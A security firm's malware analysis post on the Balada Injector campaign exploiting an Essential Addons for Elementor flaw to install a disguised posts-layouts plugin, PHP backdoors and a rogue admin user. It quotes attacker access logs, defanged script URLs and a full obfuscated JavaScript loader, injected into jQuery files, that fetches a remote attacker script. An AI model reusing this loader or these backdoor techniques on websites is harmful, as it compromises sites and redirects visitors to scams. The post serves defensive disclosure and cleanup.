On May 11th, 2023, the very popular WordPress plugin Essential Addons for Elementor released a patch for a critical privilege escalation vulnerability, initially discovered by PatchStack. The technical details of this vulnerability can be found on their recent blog post. Over one million websites use this plugin and the fallout from this has been absolutely massive, with over 6,000 detections by SiteCheck already so far and 1637 detections in publicWWW scan results.
Naturally, if you are a website owner using this plugin and haven’t yet already, patch now! Our clients using the Sucuri Website Firewall are protected from this vulnerability as our research team issued an emergency patch shortly after the vulnerability was disclosed.
Contents:
As with any new vulnerability like this the attackers associated with the years-long Balada malware campaign (which we have documented extensively on this blog) were quick to jump on the opportunity. Within 24 hours of the vulnerability’s release we observed a large spike in infections, many of which included a Doppelgänger post-layouts (Post Layouts for Gutenberg) plugin. Notice the added “s” in posts:
./wp-content/plugins/posts-layouts
Since the vulnerability allows for unauthenticated takeover of websites, attackers are able to take full administrator control of victim environments and install malicious plugins like the one above.
Post Layouts is actually a legitimate plugin found within the WordPress repository with over 30,000+ installations and is designed to add functionality to WordPress that allows posts to be displayed in grid and list layouts. That being said, the version installed by the Balada attackers is spurious and a maliciously modified version, in which hackers disabled the legitimate functionality and added malicious code to be executed instead. All legitimate files and the metadata of the real post-layouts plugin are retained though, which make it look like the real deal at the first sight.
We can see that with 30,000+ active installations, the original plugin has only less than 11,000 all time downloads. Usually, the number of all time downloads is significantly higher than the number of active installations, since it’s common practice to download plugins, test them, and remove/disable afterwards. At the beginning of this week, the number of active installations was still 20,000+. With 316 downloads during the last 7 days, you can hardly expect the number of active installations to increase so quickly.
You can see a spike in downloads after May 12, 2023 when the attack began. These 100+ downloads per day couldn’t contribute to the increase in active downloads and the volume of hacked sites that we see. We think this insignificant spike was caused by webmasters and security professionals that wanted to download the official version and compare it with the suspicious plugins found on compromised sites.
The real reason of the increase in active installs is that hackers started to upload a modified version of this plugin as posts-layouts to compromised websites:
We can clearly see this in the access logs of infected sites:
193.169.195.64 - [12/May/2023:21:17:33 +0000] "GET /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 193.169.195.64 - [12/May/2023:21:17:36 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 9567 - 16276 25453 193.169.195.64 - [12/May/2023:21:17:39 +0000] "POST /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 193.169.195.64 - [12/May/2023:21:17:41 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 7689 - 16276 25453 193.169.195.64 - [12/May/2023:21:17:45 +0000] "POST /wp-admin/plugin-install.php?wc-ajax=1" 200 0 - 16276 25453 193.169.195.64 - [12/May/2023:21:17:48 +0000] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1" 200 1361 - 16276 25581 … 193.169.195.64 - [12/May/2023:21:17:55 +0000] "POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=810f12b23c" 302 0 - 16276 25581 193.169.195.64 - [12/May/2023:21:17:56 +0000] "GET /wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s=" 200 0 - 16276 25581
While the plugin is placed in a directory with a different name, all the metadata is still from the real post-layouts plugin, which confuses WordPress and they count this malicious plugin as a real one, thus inflating the number of “active installs” in the WordPress repository.
The Balada script injection occurs in the malicious posts-layout/dist/job.php file:
In the posts_layouts_head() function we can see the telltale character code obfuscation being used here, which seems to be a favorite of the Balada malware threat actors. When decoded, the following script injection is revealed:
<script src='hxxps://cdn[.]scriptsplatform[.]com/scripts/stats.js' type='text/javascript'></script>
The same job.php file also contains a backdoor that executes arbitrary PHP code sent as a POST request parameter “dd1”.
Additionally, we also find code used to verify the presence of the installed malicious plugin. For requests containing the “343” GET parameter, the plugin returns the MD5 hash of ‘343’ which is equal 3ad7c2ebb96fcba7cda0cf54a2e802f5.
Here, you can see how hackers verify the presence of the plugin before and after the infection:
//Before the infection a real site web page is returned: 21414 bytes 193.169.195.64 - - [12/May/2023:21:17:23 +0000] "GET /?343=1 HTTP/1.0" 200 21414 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" … //After the infection the same request returns a short 332 byte page (including headers) 193.169.195.64 - - [12/May/2023:21:17:59 +0000] "GET /?343=1 HTTP/1.0" 200 332 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
The malicious stats.js payload JavaScript file is, as usual, a heavily obfuscated script that looks like the following:
Moreover, the WordPress wp_head hook is used within the payload, which ensures that the JavaScript injection is lodged within the header section of the website on every page.
Running a simple whois command over the main scriptsplatform domain shows that it was created/registered one day after the vulnerability was disclosed, suggesting that it was purpose-built for this mass infection:
Domain name: scriptsplatform[.]com Registry Domain ID: 2780171223_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.eranet.com Registrar URL: http://www.eranet.com Updated Date: 2023-05-12T00:00:00Z Creation Date: 2023-05-12T05:33:59Z
Visitors to the infected websites are met with a bogus redirect served by shady ad networks pushing mainly adult dating and notification scams that can look a little something like this:
As you might have noticed, the malicious code added to the posts-layouts/posts-layouts.php actually tries to load three files: dist/init.php, dist/cache.php and dist/job.php.
We’ve already described the dist/job.php file above. The dist/cache.php file is missing on all sites that we have worked on. It doesn’t prevent the plugin from working since it only tries to load it if the file actually exists. The dist/init.php file is a part of the legitimate post-layouts plugin. However, in the malicious plugin the contents of the file is completely different.
It is the file that defines the posts_layouts_finish() function that is hooked to the “pre_current_active_plugins” action on the last line of the posts-layouts.php.
The purpose of this additional function is to hide the plugin from being visible from within the wp-admin administrator dashboard, but still keeps the plugin “functionality” active on the website.
Installation of the fake posts-layouts plugin is not the only thing that hackers do during the initial infection. Additionally, they inject the Balada scripts at the top of the active theme’s header.php and footer.php files.
In the case of header.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/header.js. For footer.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/footer.js. This is how the injection looks in access logs:
193.169.195.64 - - [12/May/2023:21:18:00 +0000] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=header.php HTTP/1.0" 200 45863 "https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=header.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 139.162.234.6 - - [12/May/2023:21:18:02 +0000] "GET /wp-admin/theme-editor.php?theme=<redacted>&file=header.php&wp_scrape_key=9d62c27a9d88828dc1afaa4927b0550f&wp_scrape_nonce=395126822 HTTP/1.0" 200 46029 "-" "WordPress/6.2; https://<redacted>" .. 193.169.195.64 - - [12/May/2023:21:18:06 +0000] "POST /wp-admin/theme-editor.php?file=header.php&wc-ajax=1 HTTP/1.0" 200 45900 "https://<redacted>/wp-admin/theme-editor.php?file=header.php&wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 193.169.195.64 - - [12/May/2023:21:18:08 +0000] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=footer.php HTTP/1.0" 200 44786 "https://<redacted>/wp-admin/theme-editor.php?wc-ajax=1&file=footer.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" 139.162.234.6 - - [12/May/2023:21:18:10 +0000] "GET /wp-admin/theme-editor.php?theme=<redacted>&file=footer.php&wp_scrape_key=ad1ff4f46178f3088aa44babccd465f3&wp_scrape_nonce=1686713392 HTTP/1.0" 200 44956 "-" "WordPress/6.2; https://<redacted>" ..
Malicious header.js, stat.js and footer.js loads the same code that eventually loads statistic.scriptsplatform[.]com/collect and then come.scriptsplatform[.]com/away.php which uses a TDS to redirect site visitors to some third-party site.
All three scripts appear on the same infected page. This doesn’t cause problems, as all of them check if the statistic.scriptsplatform[.]com/collect script was actually loaded. On the other hand, placing the scripts in three different locations helps the attackers keep the injection working even if the malware is partially cleaned.
Furthermore, we see the same attacker injecting backdoor PHP scripts into the docroot and some other directories of victim websites. The file names of these backdoors follow the pattern wp-<English-word>-need-XXX.php, where <English-word> is a random English word and XXX are 3 random characters.
For example:
./wp-sale-need-wuu.php
./wp-sold-need-xdd.php
./wp-mails-need-lxj.php
./wp-mails-need-wjo.php
./wp-drop-need-baj.php
./wp-working-need-css.php
./wp-locations-need-bot.php
./wp-readmes-need-rfq.php
./wp-track-need-ito.php
./wp-cliff-need-oxy.php
./wp-sale-need-vzw.php
./wp-working-need-bkv.php
./wp-working-need-ygr.php
The contents of these files look a little something like this, with slight variations for each:
When decoded, a backdoor is revealed:
This backdoor executes arbitrary PHP code sent in POST request parameters. In addition, it also tries to delete the wp-sale.js file created at the same time as the backdoor.
The wp-sale.js file contains a hash, the name of the backdoor file, and uses the ‘:demowpsale:’ keyword as a delimiter. On each infected site the parameter names and hashes used for verifying passwords are different. Thus, hackers need to keep track of all this data for every compromised site in order to be able to access their backdoors later.
Threat actors have also been adding a malicious user to infected websites with the name wp-demouser-44. This username has already proliferated to many websites in google search results.
ID: 4, Username: wp-demouser-44, E-mail: [email protected], Creation Date: 2023-05-12 11:17:30
While the posts-layouts malware is found only on sites with the Essential Addons for Elementor plugin, another type of Balada injection is found on sites that don’t use the Essential Addons for Elementor — or use non-vulnerable versions of this plugin (both older than 5.4.0 and newer than 5.7.1).
Most likely, this injection is leveraged when the attackers can’t obtain the WordPress admin access and use other vulnerabilities and previous backdoors instead. In some cases, we also attribute this to cross-site contamination when multiple sites share the same hosting account.
In such cases, we find the following modified wp-blog-header.php file which includes injected obfuscated PHP code (again using character code obfuscation):
The decoded malware looks like this:
What we can see is the malware again tries to inject three malicious scripts:
Interestingly enough, the start_c.js script is only injected into single pages while start_f.js is injected even to known users of the blog.
Start_h.js and start_c.js return the same script as the header/footer/stat.js described in the posts_layouts infection. Start_f.js doesn’t return anything at this point, so it’s purpose it not clear.
This malware tries to track logged in WordPress users to avoid injections — even when they log out of WordPress. To accomplish this, bad actors set the “wordpress_m_adm” cookie and write the visitors IP address into the rq.txt file in the server’s temporary directory.
In some cases, the following obfuscated JavaScript code is injected on top of wp-includes/js/jquery/jquery.min.js and wp-includes/js/jquery/jquery-migrate.min.js
var m=b;(function(c,e){var l=b,f=c();while(!![]){try{var g=parseInt(l(0x135))/0x1+parseInt(l(0x12b))/0x2+-parseInt(l(0x12d))/0x3+parseInt(l(0x13d))/0x4+-parseInt(l(0x12e))/0x5*(parseInt(l(0x12a))/0x6)+parseInt(l(0x12f))/0x7*(-parseInt(l(0x13e))/0x8)+parseInt(l(0x13c))/0x9;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x7f054));function b(c,d){var e=a();return b=function(f,g){f=f-0x128;var h=e[f];return h;},b(c,d);}var j=document,k=j[m(0x130)](m(0x12c));k[m(0x138)]='h'+'tt'+m(0x13f)+'/'+'/s'+'ta'+m(0x128)+'t'+m(0x134)+'ri'+'p'+'ts'+m(0x132)+'tf'+'or'+m(0x13a)+m(0x136)+'lo'+'b'+'al';function a(){var n=['3558289hXnVzT','createElement','getElementsByTagName','pla','insertBefore','ics.sc','420078GNrZss','m/g','currentScript','src','head','m.co','parentNode','8887806xXCyNX','388724nuSCLw','8ZOcngi','ps:','tis','appendChild','3101916zsXWgk','1138664hDNQfV','script','1585608NAjuAN','5gMyIif'];a=function(){return n;};return a();}document[m(0x137)]?document[m(0x137)][m(0x13b)][m(0x133)](k,document[m(0x137)]):j[m(0x131)](m(0x139))[0x0][m(0x129)](k);
This script also belongs to Balada Injector and loads hxxps://statistics.scriptsplatform[.]com/global.
Posts-layouts is not the only malicious plugin installed on sites with the vulnerable essential-addons-for-elementor-lite plugin. Another one (which seems to be installed by a different threat actor) is hellopress. We find these backdoors on compromised sites:
To summarize:
The malware is not identical for each and every affected website so the workflow and logs will vary slightly from site to site, but this is the gist of how they are exploiting this unauthenticated privilege escalation vulnerability to take over websites and inject malware.
If your website has been affected by this mass infection, of course we can help, but if you are tasked with cleaning up this malware by your lonesome be sure to follow these steps:
We have a more detailed guide on remediating a hacked WordPress website which you can find here. And, as always, our free website scanning tool SiteCheck can help you confirm if the payload has been removed from your website or not:
To summarise: Attackers, particularly those threat actors associated with Balada website malware, are quick to pounce on any new vulnerabilities that get disclosed or otherwise discovered. Website owners with automatic plugin updates enabled are best protected against situations like these. There is only a short window of time between a vulnerability disclosure and active compromise attempts, and website owners are not realistically able to manually issue patches in such short time frames in all instances.
That being said, sometimes website owners can be hesitant to issue all available plugin and theme updates due to concerns about compatibility issues or breaking something, so for this reason it’s also a good idea to place your website behind a firewall to prevent attacks.
Special thanks to Denis Sinegubko for his research and assistance with this post.